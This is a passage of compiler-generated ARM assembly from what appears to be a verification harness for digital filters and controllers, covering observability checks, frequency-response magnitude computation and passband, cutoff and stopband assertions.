mov r2, r3
ldr r3, .L1565+4
ldr r3, [r3]
mov ip, r3
sub r3, fp, #204
str r3, [sp, #8]
sub r3, fp, #396
str r3, [sp, #4]
sub r3, fp, #332
str r3, [sp]
mov r3, ip
bl fxp_matrix_multiplication
mov r3, #0
str r3, [fp, #-540]
b .L1549
.L1552:
mov r3, #0
str r3, [fp, #-536]
b .L1550
.L1551:
ldr r3, [fp, #-540]
lsl r2, r3, #2
ldr r3, [fp, #-536]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
ldr r3, [r3, #-200]
mov r0, r3
bl fxp_to_double
mov r2, r0
mov r3, r1
ldr r1, [fp, #-540]
lsl r0, r1, #2
ldr r1, [fp, #-536]
add r1, r0, r1
lsl r1, r1, #3
sub r0, fp, #4
add r1, r0, r1
sub r1, r1, #136
stm r1, {r2-r3}
ldr r3, [fp, #-536]
add r3, r3, #1
str r3, [fp, #-536]
.L1550:
ldr r3, .L1565+4
ldr r3, [r3]
ldr r2, [fp, #-536]
cmp r2, r3
blt .L1551
ldr r3, [fp, #-540]
add r3, r3, #1
str r3, [fp, #-540]
.L1549:
ldr r3, .L1565+4
ldr r3, [r3]
ldr r2, [fp, #-540]
cmp r2, r3
blt .L1552
ldr r3, .L1565+4
ldr r2, [r3]
sub r3, fp, #140
mov r1, r2
mov r0, r3
bl determinant
mov r2, #0
mov r3, #0
bl __aeabi_dcmpeq
mov r3, r0
cmp r3, #0
beq .L1554
ldr r3, .L1565+16
mov r2, #119
ldr r1, .L1565+20
ldr r0, .L1565+24
bl __assert_fail
.L1538:
mov r3, #0
str r3, [fp, #-540]
b .L1555
.L1558:
ldr r3, .L1565+4
ldr r3, [r3]
mov r0, r3
ldr r3, .L1565+4
ldr r3, [r3]
mov ip, r3
ldr r1, [fp, #-540]
sub r2, fp, #524
sub r3, fp, #332
str r3, [sp]
mov r3, r1
mov r1, ip
bl fxp_exp_matrix
ldr r3, .L1565+12
ldr r3, [r3]
mov r0, r3
ldr r3, .L1565+4
ldr r3, [r3]
mov r1, r3
ldr r3, .L1565+4
ldr r3, [r3]
mov r2, r3
ldr r3, .L1565+4
ldr r3, [r3]
mov ip, r3
sub r3, fp, #268
str r3, [sp, #8]
sub r3, fp, #332
str r3, [sp, #4]
sub r3, fp, #460
str r3, [sp]
mov r3, ip
bl fxp_matrix_multiplication
mov r3, #0
str r3, [fp, #-536]
b .L1556
.L1557:
ldr r3, [fp, #-536]
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
ldr r2, [r3, #-264]
ldr r3, [fp, #-540]
lsl r1, r3, #2
ldr r3, [fp, #-536]
add r3, r1, r3
lsl r3, r3, #2
sub r1, fp, #4
add r3, r1, r3
str r2, [r3, #-392]
ldr r3, [fp, #-536]
add r3, r3, #1
str r3, [fp, #-536]
.L1556:
ldr r3, .L1565+4
ldr r3, [r3]
ldr r2, [fp, #-536]
cmp r2, r3
blt .L1557
ldr r3, [fp, #-540]
add r3, r3, #1
str r3, [fp, #-540]
.L1555:
ldr r3, .L1565+4
ldr r3, [r3]
ldr r2, [fp, #-540]
cmp r2, r3
blt .L1558
mov r3, #0
str r3, [fp, #-540]
b .L1559
.L1562:
mov r3, #0
str r3, [fp, #-536]
b .L1560
.L1561:
ldr r3, [fp, #-540]
lsl r2, r3, #2
ldr r3, [fp, #-536]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
ldr r3, [r3, #-392]
mov r0, r3
bl fxp_to_double
mov r2, r0
mov r3, r1
ldr r1, [fp, #-540]
lsl r0, r1, #2
ldr r1, [fp, #-536]
add r1, r0, r1
lsl r1, r1, #3
sub r0, fp, #4
add r1, r0, r1
sub r1, r1, #136
stm r1, {r2-r3}
ldr r3, [fp, #-536]
add r3, r3, #1
str r3, [fp, #-536]
.L1560:
ldr r3, .L1565+4
ldr r3, [r3]
ldr r2, [fp, #-536]
cmp r2, r3
blt .L1561
ldr r3, [fp, #-540]
add r3, r3, #1
str r3, [fp, #-540]
.L1559:
ldr r3, .L1565+4
ldr r3, [r3]
ldr r2, [fp, #-540]
cmp r2, r3
blt .L1562
ldr r3, .L1565+4
ldr r2, [r3]
sub r3, fp, #140
mov r1, r2
mov r0, r3
bl determinant
mov r2, #0
mov r3, #0
bl __aeabi_dcmpeq
mov r3, r0
cmp r3, #0
beq .L1554
ldr r3, .L1565+16
mov r2, #134
ldr r1, .L1565+20
ldr r0, .L1565+24
bl __assert_fail
.L1554:
mov r3, #0
ldr r2, .L1565
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L1564
bl __stack_chk_fail
.L1564:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L1566:
.align 2
.L1565:
.word .LC93
.word nStates
.word _controller
.word nOutputs
.word __PRETTY_FUNCTION__.7926
.word .LC91
.word .LC92
.size verify_observability, .-verify_observability
.section .rodata
.align 2
.LC94:
.word __stack_chk_guard
.text
.align 2
.global resp_mag
.syntax unified
.arm
.fpu softvfp
.type resp_mag, %function
resp_mag:
@ args = 8, pretend = 0, frame = 96
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, r6, fp, lr}
add fp, sp, #16
sub sp, sp, #100
str r0, [fp, #-96]
str r1, [fp, #-100]
str r2, [fp, #-104]
str r3, [fp, #-108]
ldr r3, [fp, #4]
str r3, [fp, #-112]
ldr r3, .L1576
ldr r3, [r3]
str r3, [fp, #-24]
mov r3,#0
mov r3, sp
mov r6, r3
ldr r3, [fp, #8]
add ip, r3, #1
sub r3, ip, #1
str r3, [fp, #-88]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
mov r3, sp
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-92]
ldr r3, [fp, #8]
add ip, r3, #1
sub r3, ip, #1
str r3, [fp, #-76]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
mov r3, sp
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-72]
ldr r3, [fp, #8]
add ip, r3, #1
sub r3, ip, #1
str r3, [fp, #-68]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
mov r3, sp
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-64]
ldr r3, [fp, #8]
add ip, r3, #1
sub r3, ip, #1
str r3, [fp, #-60]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
mov r3, sp
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-56]
mov r2, #0
mov r3, #0
str r2, [fp, #-52]
str r3, [fp, #-48]
mov r3, #0
str r3, [fp, #-84]
b .L1568
.L1574:
ldr r3, [fp, #-96]
ldmia r3, {r2-r3}
ldr r0, [fp, #-92]
ldr r1, [fp, #-84]
lsl r1, r1, #3
add r1, r0, r1
stm r1, {r2-r3}
ldr r2, [fp, #-72]
ldr r3, [fp, #-84]
lsl r3, r3, #3
add r1, r2, r3
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
mov r3, #1
str r3, [fp, #-80]
b .L1569
.L1570:
ldr r2, [fp, #-92]
ldr r3, [fp, #-84]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
str r2, [fp, #-36]
str r3, [fp, #-32]
mov r2, #6
sub r1, fp, #52
ldmia r1, {r0-r1}
bl cosTyl
ldr r2, [fp, #-92]
ldr r3, [fp, #-84]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
mov r2, #6
sub r1, fp, #52
ldmia r1, {r0-r1}
bl sinTyl
ldr r2, [fp, #-72]
ldr r3, [fp, #-84]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
ldr r3, [fp, #-80]
lsl r3, r3, #3
ldr r2, [fp, #-96]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
ldr r0, [fp, #-92]
ldr r1, [fp, #-84]
lsl r1, r1, #3
add r1, r0, r1
stm r1, {r2-r3}
mov r2, #6
sub r1, fp, #52
ldmia r1, {r0-r1}
bl sinTyl
sub r3, fp, #36
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
mov r2, #6
sub r1, fp, #52
ldmia r1, {r0-r1}
bl cosTyl
ldr r2, [fp, #-72]
ldr r3, [fp, #-84]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
ldr r0, [fp, #-72]
ldr r1, [fp, #-84]
lsl r1, r1, #3
add r1, r0, r1
stm r1, {r2-r3}
ldr r3, [fp, #-80]
add r3, r3, #1
str r3, [fp, #-80]
.L1569:
ldr r2, [fp, #-80]
ldr r3, [fp, #-100]
cmp r2, r3
blt .L1570
ldr r3, [fp, #-104]
ldmia r3, {r2-r3}
ldr r0, [fp, #-64]
ldr r1, [fp, #-84]
lsl r1, r1, #3
add r1, r0, r1
stm r1, {r2-r3}
ldr r2, [fp, #-56]
ldr r3, [fp, #-84]
lsl r3, r3, #3
add r1, r2, r3
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
mov r3, #1
str r3, [fp, #-80]
b .L1571
.L1572:
ldr r2, [fp, #-64]
ldr r3, [fp, #-84]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
str r2, [fp, #-36]
str r3, [fp, #-32]
mov r2, #6
sub r1, fp, #52
ldmia r1, {r0-r1}
bl cosTyl
ldr r2, [fp, #-64]
ldr r3, [fp, #-84]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
mov r2, #6
sub r1, fp, #52
ldmia r1, {r0-r1}
bl sinTyl
ldr r2, [fp, #-56]
ldr r3, [fp, #-84]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
ldr r3, [fp, #-80]
lsl r3, r3, #3
ldr r2, [fp, #-104]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
ldr r0, [fp, #-64]
ldr r1, [fp, #-84]
lsl r1, r1, #3
add r1, r0, r1
stm r1, {r2-r3}
mov r2, #6
sub r1, fp, #52
ldmia r1, {r0-r1}
bl sinTyl
sub r3, fp, #36
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
mov r2, #6
sub r1, fp, #52
ldmia r1, {r0-r1}
bl cosTyl
ldr r2, [fp, #-56]
ldr r3, [fp, #-84]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
ldr r0, [fp, #-56]
ldr r1, [fp, #-84]
lsl r1, r1, #3
add r1, r0, r1
stm r1, {r2-r3}
ldr r3, [fp, #-80]
add r3, r3, #1
str r3, [fp, #-80]
.L1571:
ldr r2, [fp, #-80]
ldr r3, [fp, #-108]
cmp r2, r3
blt .L1572
ldr r2, [fp, #-92]
ldr r3, [fp, #-84]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r2, [fp, #-92]
ldr r3, [fp, #-84]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r2, [fp, #-72]
ldr r3, [fp, #-84]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r2, [fp, #-72]
ldr r3, [fp, #-84]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl __aeabi_d2f
mov r3, r0
mov r0, r3
bl sqrt3
mov r1, r0
ldr r3, [fp, #-84]
lsl r3, r3, #3
ldr r2, [fp, #-112]
add r4, r2, r3
mov r0, r1
bl __aeabi_f2d
mov r2, r0
mov r3, r1
stm r4, {r2-r3}
ldr r2, [fp, #-64]
ldr r3, [fp, #-84]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r2, [fp, #-64]
ldr r3, [fp, #-84]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r2, [fp, #-56]
ldr r3, [fp, #-84]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r2, [fp, #-56]
ldr r3, [fp, #-84]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl __aeabi_d2f
mov r3, r0
mov r0, r3
bl sqrt3
mov r3, r0
mov r0, r3
bl __aeabi_f2d
mov r2, r0
mov r3, r1
str r2, [fp, #-44]
str r3, [fp, #-40]
mov r3, #1
mov r4, r3
mov r2, #0
mov r3, #0
sub r1, fp, #44
ldmia r1, {r0-r1}
bl __aeabi_dcmpeq
mov r3, r0
cmp r3, #0
beq .L1573
mov r3, #0
mov r4, r3
.L1573:
and r3, r4, #255
mov r0, r3
bl __DSVERIFIER_assume
ldr r3, [fp, #-84]
lsl r3, r3, #3
ldr r2, [fp, #-112]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-84]
lsl r3, r3, #3
ldr r2, [fp, #-112]
add r4, r2, r3
sub r3, fp, #44
ldmia r3, {r2-r3}
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
stm r4, {r2-r3}
ldr r0, [fp, #8]
bl __aeabi_i2d
mov r2, r0
mov r3, r1
ldr r0, .L1576+4
ldr r1, .L1576+8
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
sub r1, fp, #52
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-52]
str r3, [fp, #-48]
ldr r3, [fp, #-84]
add r3, r3, #1
str r3, [fp, #-84]
.L1568:
ldr r2, .L1576+4
ldr r3, .L1576+8
sub r1, fp, #52
ldmia r1, {r0-r1}
bl __aeabi_dcmple
mov r3, r0
cmp r3, #0
bne .L1574
mov sp, r6
nop
ldr r3, .L1576
ldr r2, [r3]
ldr r3, [fp, #-24]
eors r2, r3, r2
mov r3, #0
beq .L1575
bl __stack_chk_fail
.L1575:
sub sp, fp, #16
@ sp needed
pop {r4, r5, r6, fp, pc}
.L1577:
.align 2
.L1576:
.word .LC94
.word 1413754136
.word 1074340347
.size resp_mag, .-resp_mag
.section .rodata
.align 2
.LC95:
.ascii "|----------------Passband Failure-------------|\000"
.align 2
.LC96:
.ascii "|-------------Cutoff Frequency Failure--------|\000"
.align 2
.LC97:
.ascii "|----------------Stopband Failure-------------|\000"
.align 2
.LC98:
.word __stack_chk_guard
.text
.align 2
.global verify_magnitude
.syntax unified
.arm
.fpu softvfp
.type verify_magnitude, %function
verify_magnitude:
@ args = 0, pretend = 0, frame = 72
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, r6, r7, fp, lr}
add fp, sp, #20
sub sp, sp, #80
ldr r3, .L1620
ldr r3, [r3]
str r3, [fp, #-24]
mov r3,#0
mov r3, sp
mov r7, r3
mov r3, #100
str r3, [fp, #-80]
ldr r0, [fp, #-80]
bl __aeabi_i2d
mov r2, r0
mov r3, r1
mov r0, #0
ldr r1, .L1620+4
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
str r2, [fp, #-44]
str r3, [fp, #-40]
ldr r3, [fp, #-80]
add ip, r3, #1
sub r3, ip, #1
str r3, [fp, #-84]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-88]
ldr r3, .L1620+8
ldr ip, [r3, #800]
sub r3, ip, #1
str r3, [fp, #-92]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-72]
ldr r3, .L1620+8
ldr r3, [r3, #800]
mov r2, r3
ldr r1, [fp, #-72]
ldr r0, .L1620+8
bl fxp_double_to_fxp_array
ldr r3, .L1620+8
ldr ip, [r3, #800]
sub r3, ip, #1
str r3, [fp, #-68]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-64]
ldr r3, .L1620+8
ldr r3, [r3, #800]
mov r2, r3
ldr r1, [fp, #-72]
ldr r0, [fp, #-64]
bl fxp_to_double_array
ldr r3, .L1620+8
ldr ip, [r3, #1608]
sub r3, ip, #1
str r3, [fp, #-60]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-56]
ldr r3, .L1620+8
ldr r3, [r3, #1608]
mov r2, r3
ldr r1, [fp, #-56]
ldr r0, .L1620+12
bl fxp_double_to_fxp_array
ldr r3, .L1620+8
ldr ip, [r3, #1608]
sub r3, ip, #1
str r3, [fp, #-52]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-48]
ldr r3, .L1620+8
ldr r3, [r3, #1608]
mov r2, r3
ldr r1, [fp, #-56]
ldr r0, [fp, #-48]
bl fxp_to_double_array
ldr r3, .L1620+8
ldr r1, [r3, #1608]
ldr r3, .L1620+8
ldr r2, [r3, #800]
ldr r3, [fp, #-80]
str r3, [sp, #4]
ldr r3, [fp, #-88]
str r3, [sp]
mov r3, r2
ldr r2, .L1620+8
ldr r0, .L1620+12
bl resp_mag
ldr r3, .L1620+16
ldr r3, [r3, #24]
cmp r3, #1
bne .L1579
mov r3, #0
str r3, [fp, #-76]
mov r2, #0
mov r3, #0
str r2, [fp, #-36]
str r3, [fp, #-32]
b .L1580
.L1591:
ldr r3, .L1620+16
ldr r3, [r3, #12] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, r0
mov r3, r1
sub r1, fp, #36
ldmia r1, {r0-r1}
bl __aeabi_dcmple
mov r3, r0
cmp r3, #0
beq .L1616
ldr r2, [fp, #-88]
ldr r3, [fp, #-76]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r4-r5}
ldr r3, .L1620+16
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, r0
mov r3, r1
mov r1, #1
mov r6, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpge
mov r3, r0
cmp r3, #0
bne .L1583
mov r3, #0
mov r6, r3
.L1583:
and r3, r6, #255
ldr r1, .L1620+20
mov r0, r3
bl __DSVERIFIER_assert_msg
b .L1584
.L1616:
ldr r3, .L1620+16
ldr r3, [r3, #16] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, r0
mov r3, r1
sub r1, fp, #36
ldmia r1, {r0-r1}
bl __aeabi_dcmpeq
mov r3, r0
cmp r3, #0
beq .L1617
ldr r2, [fp, #-88]
ldr r3, [fp, #-76]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r4-r5}
ldr r3, .L1620+16
ldr r3, [r3, #8] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, r0
mov r3, r1
mov r1, #1
mov r6, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmple
mov r3, r0
cmp r3, #0
bne .L1587
mov r3, #0
mov r6, r3
.L1587:
and r3, r6, #255
ldr r1, .L1620+24
mov r0, r3
bl __DSVERIFIER_assert_msg
b .L1584
.L1617:
ldr r3, .L1620+16
ldr r3, [r3, #20] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, r0
mov r3, r1
sub r1, fp, #36
ldmia r1, {r0-r1}
bl __aeabi_dcmpge
mov r3, r0
cmp r3, #0
beq .L1584
mov r2, #0
ldr r3, .L1620+4
sub r1, fp, #36
ldmia r1, {r0-r1}
bl __aeabi_dcmple
mov r3, r0
cmp r3, #0
beq .L1584
ldr r2, [fp, #-88]
ldr r3, [fp, #-76]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r4-r5}
ldr r3, .L1620+16
ldr r3, [r3, #4] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, r0
mov r3, r1
mov r1, #1
mov r6, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmple
mov r3, r0
cmp r3, #0
bne .L1590
mov r3, #0
mov r6, r3
.L1590:
and r3, r6, #255
ldr r1, .L1620+28
mov r0, r3
bl __DSVERIFIER_assert_msg
.L1584:
ldr r3, [fp, #-76]
add r3, r3, #1
str r3, [fp, #-76]
sub r3, fp, #44
ldmia r3, {r2-r3}
sub r1, fp, #36
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-36]
str r3, [fp, #-32]
.L1580:
mov r2, #0
ldr r3, .L1620+4
sub r1, fp, #36
ldmia r1, {r0-r1}
bl __aeabi_dcmple
mov r3, r0
cmp r3, #0
bne .L1591
b .L1592
.L1579:
ldr r3, .L1620+16
ldr r3, [r3, #24]
cmp r3, #2
bne .L1593
mov r3, #0
str r3, [fp, #-76]
mov r2, #0
mov r3, #0
str r2, [fp, #-36]
str r3, [fp, #-32]
b .L1594
.L1605:
ldr r3, .L1620+16
ldr r3, [r3, #20] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, r0
mov r3, r1
sub r1, fp, #36
ldmia r1, {r0-r1}
bl __aeabi_dcmple
mov r3, r0
cmp r3, #0
beq .L1618
ldr r2, [fp, #-88]
ldr r3, [fp, #-76]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r4-r5}
ldr r3, .L1620+16
ldr r3, [r3, #4] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, r0
mov r3, r1
mov r1, #1
mov r6, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmple
mov r3, r0
cmp r3, #0
bne .L1597
mov r3, #0
mov r6, r3
.L1597:
and r3, r6, #255
ldr r1, .L1620+28
mov r0, r3
bl __DSVERIFIER_assert_msg
b .L1598
.L1618:
ldr r3, .L1620+16
ldr r3, [r3, #16] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, r0
mov r3, r1
sub r1, fp, #36
ldmia r1, {r0-r1}
bl __aeabi_dcmpeq
mov r3, r0
cmp r3, #0
beq .L1619
ldr r2, [fp, #-88]
ldr r3, [fp, #-76]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r4-r5}
ldr r3, .L1620+16
ldr r3, [r3, #8] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, r0
mov r3, r1
mov r1, #1
mov r6, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmple
mov r3, r0
cmp r3, #0
bne .L1601
mov r3, #0
mov r6, r3
.L1601:
and r3, r6, #255
ldr r1, .L1620+24
mov r0, r3
bl __DSVERIFIER_assert_msg
b .L1598
.L1619:
ldr r3, .L1620+16
ldr r3, [r3, #12] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, r0
mov r3, r1
sub r1, fp, #36
ldmia r1, {r0-r1}
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1598
mov r2, #0
ldr r3, .L1620+4
sub r1, fp, #36
ldmia r1, {r0-r1}
bl __aeabi_dcmple
mov r3, r0
cmp r3, #0
beq .L1598
ldr r2, [fp, #-88]
ldr r3, [fp, #-76]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r4-r5}
ldr r3, .L1620+16
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, r0
mov r3, r1
mov r1, #1
mov r6, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpge
mov r3, r0
cmp r3, #0
bne .L1604
mov r3, #0
mov r6, r3
.L1604:
and r3, r6, #255
ldr r1, .L1620+20
mov r0, r3
bl __DSVERIFIER_assert_msg
.L1598:
ldr r3, [fp, #-76]
add r3, r3, #1
str r3, [fp, #-76]
sub r3, fp, #44
ldmia r3, {r2-r3}
sub r1, fp, #36
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-36]
str r3, [fp, #-32]
.L1594:
mov r2, #0
ldr r3, .L1620+4
sub r1, fp, #36
ldmia r1, {r0-r1}
bl __aeabi_dcmple
mov r3, r0
cmp r3, #0
bne .L1605
b .L1592
.L1593:
mov r0, #0
bl __DSVERIFIER_assert
.L1592:
mov r3, #0
mov sp, r7
ldr r2, .L1620
ldr r1, [r2]
ldr r2, [fp, #-24]
eors r1, r2, r1
mov r2, #0
beq .L1607
bl __stack_chk_fail
.L1607:
mov r0, r3
sub sp, fp, #20
@ sp needed
pop {r4, r5, r6, r7, fp, pc}
.L1621:
.align 2
.L1620:
.word .LC98
.word 1072693248
.word ds
.word ds+808
.word filter
.word .LC95
.word .LC96
.word .LC97
.size verify_magnitude, .-verify_magnitude
.comm plant_cbmc,3224,8
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
bl initialization
bl validation
ldr r3, .L1624
mov r2, #1
